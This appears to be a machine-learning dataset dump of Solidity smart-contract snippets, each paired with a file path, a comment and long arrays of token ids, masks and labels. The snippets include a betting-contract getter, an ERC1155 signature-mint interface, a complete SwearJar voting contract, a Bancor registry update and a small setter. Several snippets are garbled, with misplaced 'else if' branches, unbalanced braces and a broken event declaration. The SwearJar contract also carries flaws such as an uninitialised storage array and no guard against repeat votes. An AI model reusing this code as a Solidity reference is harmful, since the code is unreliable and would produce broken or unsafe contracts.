betsOut = new IPriceBetting.Bet[](indexes.length);
if (period == 900) {
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets900(indexes[i]);
}
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets300(indexes[i]);
}
}
}
} else if (period == 300) {
function getBetterBets(address user, uint256 period, uint256 idxStart, uint256 outLength, uint256 option) public view
returns (IPriceBetting.Bet[] memory betsOut, uint256 cidx3, uint256 uidx3, uint256 idxStart3, uint256 idxLast3)
{
(uint256[] memory indexes, uint256 cidx2, uint256 uidx2, uint256 idxStart2, uint256 idxLast2) = getBetIndexes(user, period, idxStart, outLength, option);
cidx3 = cidx2;
uidx3 = uidx2;
idxStart3 = idxStart2;
idxLast3 = idxLast2;
IPriceBetting PriceBetting = IPriceBetting(addrPriceBetting);
betsOut = new IPriceBetting.Bet[](indexes.length);
if (period == 900) {
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets900(indexes[i]);
}
for (uint i = 0; i < indexes.length; i++) {
betsOut[i] = PriceBetting.bets300(indexes[i]);
}
}
}
}
| 16,668,215 | [
1,
6770,
12,
11890,
5034,
516,
605,
278,
13,
1071,
324,
2413,
29,
713,
31,
2874,
12,
11890,
5034,
516,
605,
278,
13,
1071,
324,
2413,
19249,
31,
13739,
63,
1355,
65,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
20137,
38,
278,
1787,
1299,
2115,
353,
7807,
4218,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
2361,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
203,
565,
2874,
12,
2867,
516,
6590,
13,
1071,
9484,
31,
203,
565,
1958,
6590,
288,
203,
3639,
2254,
5034,
276,
3465,
29,
713,
31,
203,
3639,
2254,
5034,
276,
3465,
19249,
31,
203,
3639,
2254,
5034,
582,
3465,
29,
713,
31,
203,
3639,
2254,
5034,
582,
3465,
19249,
31,
203,
3639,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
2067,
281,
37,
29,
713,
31,
203,
3639,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
2067,
281,
37,
19249,
31,
203,
3639,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
2067,
281,
38,
29,
713,
31,
203,
3639,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
2067,
281,
38,
19249,
31,
203,
565,
289,
203,
203,
565,
1758,
1071,
3091,
5147,
38,
278,
1787,
31,
203,
565,
2254,
5034,
1071,
943,
1182,
2891,
273,
6437,
31,
203,
203,
565,
3885,
1435,
288,
203,
3639,
3091,
5147,
38,
278,
1787,
273,
1758,
12,
20,
92,
11861,
37,
3657,
8875,
6030,
73,
23,
71,
28,
73,
23,
1077,
29,
2313,
9470,
41,
11180,
37,
28,
37,
18212,
72,
42,
3361,
25,
2226,
38,
69,
1769,
203,
565,
289,
203,
565,
9606,
1338,
8924,
1435,
288,
203,
1377,
2583,
12,
3576,
18,
15330,
422,
3091,
5147,
38,
278,
1787,
16,
315,
902,
10799,
6835,
8863,
203,
3639,
389,
31,
2
]
|
./partial_match/1/0x218F856F0f726C37Db4cec782A7f77D2bd28fC9d/sources/cybourgeoisie/project/1/0x218F856F0f726C37Db4cec782A7f77D2bd28fC9d/contracts/ERC1155TokenSwap.sol | Otherwise, return broken heart | return string(abi.encodePacked(_baseURI, "heartbroken.json"));
| 2,707,326 | [
1,
8290,
2460,
16,
327,
12933,
3904,
485,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
202,
2463,
533,
12,
21457,
18,
3015,
4420,
329,
24899,
1969,
3098,
16,
315,
580,
485,
70,
19906,
18,
1977,
7923,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0x88517aB345F1e7492227E3515641B8b51019d7dd/sources/src/interfaces/ISignatureMintERC1155.sol | * `SignatureMint1155` is an ERC 1155 contract. It lets anyone mint NFTs by producing a mint request and a signature (produced by an account with MINTER_ROLE, signing the mint request)./ | interface ISignatureMintERC1155 is IERC1155Upgradeable, ISignatureMintWithParams {
pragma solidity ^0.8.11;
struct MintRequestWithParams {
BaseMintRequest baseMintRequest;
uint256 tokenId;
uint256 pricePerToken;
address currency;
bytes param;
}
address indexed signer,
address indexed mintedTo,
uint256 indexed tokenIdMinted,
MintRequestWithParams mintRequestWithParams
);
event TokensMintedWithSignature(
event TokensMinted(address indexed mintedTo, uint256 indexed tokenIdMinted, string uri, uint256 quantityMinted);
}
| 841,946 | [
1,
68,
5374,
49,
474,
2499,
2539,
68,
353,
392,
4232,
39,
4648,
2539,
6835,
18,
2597,
14557,
1281,
476,
312,
474,
423,
4464,
87,
635,
4810,
2822,
279,
312,
474,
590,
225,
471,
279,
3372,
261,
11776,
3263,
635,
392,
2236,
598,
6989,
2560,
67,
16256,
16,
10611,
326,
312,
474,
590,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5831,
467,
5374,
49,
474,
654,
39,
2499,
2539,
353,
467,
654,
39,
2499,
2539,
10784,
429,
16,
467,
5374,
49,
474,
19591,
288,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
2499,
31,
203,
565,
1958,
490,
474,
691,
19591,
288,
203,
3639,
3360,
49,
474,
691,
1026,
49,
474,
691,
31,
203,
3639,
2254,
5034,
1147,
548,
31,
203,
3639,
2254,
5034,
6205,
2173,
1345,
31,
203,
3639,
1758,
5462,
31,
203,
3639,
1731,
579,
31,
203,
565,
289,
203,
203,
203,
3639,
1758,
8808,
10363,
16,
203,
3639,
1758,
8808,
312,
474,
329,
774,
16,
203,
3639,
2254,
5034,
8808,
1147,
548,
49,
474,
329,
16,
203,
3639,
490,
474,
691,
19591,
312,
474,
691,
19591,
203,
565,
11272,
203,
203,
203,
203,
565,
871,
13899,
49,
474,
329,
1190,
5374,
12,
203,
565,
871,
13899,
49,
474,
329,
12,
2867,
8808,
312,
474,
329,
774,
16,
2254,
5034,
8808,
1147,
548,
49,
474,
329,
16,
533,
2003,
16,
2254,
5034,
10457,
49,
474,
329,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.19;
// @title SwearJar
// @author Luke Hedger
contract SwearJar {
/*
* @notice Jar struct
* @param {uint} deposit Required Deposit to Vote in Jar
* @param {address} owner Jar owner, probably a multisig
* @param {uint} quorum Number of Votes required to ratify a Swear
*/
struct Jar {
uint deposit;
address owner;
uint quorum;
}
/**
* @notice Swear struct
* @param {bool} exists Flag to verify existence of record
* @param {bool} open Flag to permit votes
* @param {address} swearer Who swore!?
* @param {uint} timestamp Time of Swear
* @param {uint} votes Number of votes that Swear is genuine
* @param {address[]} voters List of voters who confirmed Swear
*/
struct Swear {
bool exists;
bool open;
address swearer;
uint timestamp;
uint votes;
address[] voters;
}
/**
* @notice Voter struct
* @param {uint} balance Current balance
* @param {bool} exists Flag to verify existence of record
* @param {address} owner Voter address
* @param {bool} right Flag to verify right to vote
*/
struct Voter {
uint balance;
bool exists;
address owner;
bool right;
}
/*
* @notice BalanceRestored event
* @param {address} _voter
*/
event BalanceRestored(address _voter);
/*
* @notice JarCreated event
*/
event JarCreated();
/*
* @notice JarEmptied event
* @param {address} _recipient
*/
event JarEmptied(address _recipient);
/*
* @notice SwearConfirmed event
* @param {bytes32} _swear
* @param {address} _swearer
*/
event SwearConfirmed(bytes32 _swear, address _swearer);
/*
* @notice SwearRecorded event
* @param {bytes32} _swear
* @param {address} _swearer
*/
event SwearRecorded(bytes32 _swear, address _swearer);
/*
* @notice SwearUpVoted event
* @param {bytes32} _swear
* @param {address} _voter
*/
event SwearUpVoted(bytes32 _swear, address _voter);
/*
* @notice VoterDepositDebited event
* @param {address} _voter
*/
event VoterDepositDebited(address _voter);
/*
* @notice VoterRegistered event
* @param {address} _voter
*/
event VoterRegistered(address _voter);
/*
* @notice Store of Jar Swears
*/
mapping(bytes32 => Swear) public swearStore;
/*
* @notice Store of Jar Voters
*/
mapping(address => Voter) public voterStore;
/*
* @notice The Swear Jar
*/
Jar internal jar;
/*
* @notice SwearJar contract constructor function - called when creating the
contract. Will create a new Jar with the given parameters.
* @param {uint} _deposit Required Deposit to Vote in Jar in wei
1000000000000000000 wei === 1 ether
* @param {uint} _quorum Number of Votes required to ratify a Swear
*/
function SwearJar(uint _deposit, uint _quorum) public {
// Set Jar owner to message sender
address owner = msg.sender;
// TODO - need to be able to set deposit in wei SwearJar(1000000000000000000, 2)
// Create new Jar
jar = Jar(_deposit, owner, _quorum);
// Fire JarCreated event
JarCreated();
}
/**
* @notice Method to allow a Jar owner to withdraw all funds
*/
function emptySwearJar() public {
// Set the receiving address to message sender
address recipient = msg.sender;
// Check Jar is owned by sender
if (jar.owner != recipient) {
revert();
}
// Get the current Jar balance
uint balance = this.balance;
// Send the entire Jar balance to the owner
recipient.transfer(balance);
// Fire JarEmptied event
JarEmptied(recipient);
}
/**
* @notice Method to record a Swear
* @param {bytes32} _swear Hash of the Swear word, timestamp and swearer address
* @param {address} _swearer Offending account
* @param {uint} _timestamp Time the Swear took place - could use `block.timestamp` instead?
*/
function recordSwear(bytes32 _swear, address _swearer, uint _timestamp) public {
// Set the initial Swear Voter to the message sender
address voter = msg.sender;
// Check Swearer is a Voter on the Jar
if (voterStore[_swearer].exists != true) {
revert();
}
// Check Swearer has required balance to be able to pay fine
if (voterStore[_swearer].balance < jar.deposit) {
revert();
}
// Initialise number of votes to one (recorder counts as the first vote)
uint votes = 1;
// Initialise voters array
address[] voters;
// Add initial voter to voters array
voters.push(voter);
// Create new Swear
Swear memory swear = Swear(true, true, _swearer, _timestamp, votes, voters);
// Add Swear to store
swearStore[_swear] = swear;
// Fire SwearRecorded event
SwearRecorded(_swear, _swearer);
}
/**
* @notice Method to register a Voter to a Jar
*/
function registerVoter() public payable {
address voterAddress = msg.sender;
uint voterDeposit = msg.value;
// Check that Voter is not already registerd to Jar
if (voterStore[voterAddress].exists == true) {
revert();
}
// Check that Deposit is above minimum required to Vote in Jar
if (voterDeposit < jar.deposit) {
revert();
}
// Create new Voter
Voter memory voter = Voter(voterDeposit, true, voterAddress, true);
// Add Voter to store
voterStore[voterAddress] = voter;
// Fire VoterRegistered event
VoterRegistered(voterAddress);
}
/**
* @notice Method to restore the balance of a Voter
*/
function restoreVoterBalance() public payable {
address voterAddress = msg.sender;
uint voterDeposit = msg.value;
// Check that Voter is already registerd to Jar
if (voterStore[voterAddress].exists != true) {
revert();
}
// Check that Deposit is above minimum required to Vote in Jar
if (voterDeposit < jar.deposit) {
revert();
}
// Restore Voter's balance
voterStore[voterAddress].balance = voterDeposit;
// Restore Voter's right to vote
voterStore[voterAddress].right = true;
// Fire BalanceRestored event
BalanceRestored(voterAddress);
}
/**
* @notice Method to vote that a Swear is genuine
* @param {bytes32} _swear
*/
function upVoteSwear(bytes32 _swear) public {
// Set voter to message sender
address voter = msg.sender;
// Get voter's right to vote
bool right = voterStore[voter].right;
// Check that the Swear has been recorded
if (swearStore[_swear].exists != true) {
revert();
}
// Check that Voter has right to vote
if (right != true) {
revert();
}
// Check that Swear is open to voting
if (swearStore[_swear].open != true) {
revert();
}
// Add Voter address to Swear.voters array
swearStore[_swear].voters.push(voter);
// Add Vote to votes count
swearStore[_swear].votes += 1;
// Fire SwearUpVoted event
SwearUpVoted(_swear, voter);
// Check if Jar quorum has now been reached
if (swearStore[_swear].votes >= jar.quorum) {
// Close Swear voting
swearStore[_swear].open = false;
// Debit the deposit from the swearing Voter
debitVoterDeposit(swearStore[_swear].swearer);
// Fire SwearConfirmed event
SwearConfirmed(_swear, swearStore[_swear].swearer);
}
}
/**
* @notice Method to debit a Deposit from a Voter for a Swear
* @param {address} _voter
*/
function debitVoterDeposit(address _voter) internal {
// Set the deposit value to the required Jar deposit
uint deposit = jar.deposit;
// Debit Deposit from swearing Voter
voterStore[_voter].balance -= deposit;
// Revoke Voter's right to vote
voterStore[_voter].right = false;
// Fire VoterDepositDebited event
VoterDepositDebited(_voter);
}
}
| @notice Store of Jar Voters/ | mapping(address => Voter) public voterStore;
| 910,047 | [
1,
2257,
434,
15644,
776,
352,
414,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
2874,
12,
2867,
516,
776,
20005,
13,
1071,
331,
20005,
2257,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x790C95EF074B77A8F92A5163cC056F163A8631e6/sources/BancorConverter.sol | * @dev sets the contract registry to whichever address the current registry is pointing to/ require that upgrading is allowed or that the caller is the owner get the address of whichever registry the current registry is pointing to if the new registry hasn't changed or is the zero address, revert set the previous registry as current registry and current registry as newRegistry | function updateRegistry() public {
require(allowRegistryUpdate || msg.sender == owner);
address newRegistry = registry.addressOf(ContractIds.CONTRACT_REGISTRY);
require(newRegistry != address(registry) && newRegistry != address(0));
prevRegistry = registry;
registry = IContractRegistry(newRegistry);
}
| 3,918,138 | [
1,
4424,
326,
6835,
4023,
358,
600,
335,
580,
502,
1758,
326,
783,
4023,
353,
17022,
358,
19,
2583,
716,
731,
15210,
353,
2935,
578,
716,
326,
4894,
353,
326,
3410,
336,
326,
1758,
434,
600,
335,
580,
502,
4023,
326,
783,
4023,
353,
17022,
358,
309,
326,
394,
4023,
13342,
1404,
3550,
578,
353,
326,
3634,
1758,
16,
15226,
444,
326,
2416,
4023,
487,
783,
4023,
471,
783,
4023,
487,
394,
4243,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
4243,
1435,
1071,
288,
203,
3639,
2583,
12,
5965,
4243,
1891,
747,
1234,
18,
15330,
422,
3410,
1769,
203,
203,
3639,
1758,
394,
4243,
273,
4023,
18,
2867,
951,
12,
8924,
2673,
18,
6067,
2849,
1268,
67,
5937,
25042,
1769,
203,
203,
3639,
2583,
12,
2704,
4243,
480,
1758,
12,
9893,
13,
597,
394,
4243,
480,
1758,
12,
20,
10019,
203,
203,
3639,
2807,
4243,
273,
4023,
31,
203,
3639,
4023,
273,
467,
8924,
4243,
12,
2704,
4243,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x4ED76F1BA3DCdEDa0EDaeE876267f04e5E076769/sources/contracts/Buffer.sol | ============ Function to Update Valid Key ============ | function updateValidKey(string calldata _valid) external onlyOwner {
validKey = _valid;
}
| 2,913,569 | [
1,
14468,
4284,
358,
2315,
2364,
1929,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
1556,
653,
12,
1080,
745,
892,
389,
877,
13,
3903,
1338,
5541,
288,
203,
3639,
923,
653,
273,
389,
877,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
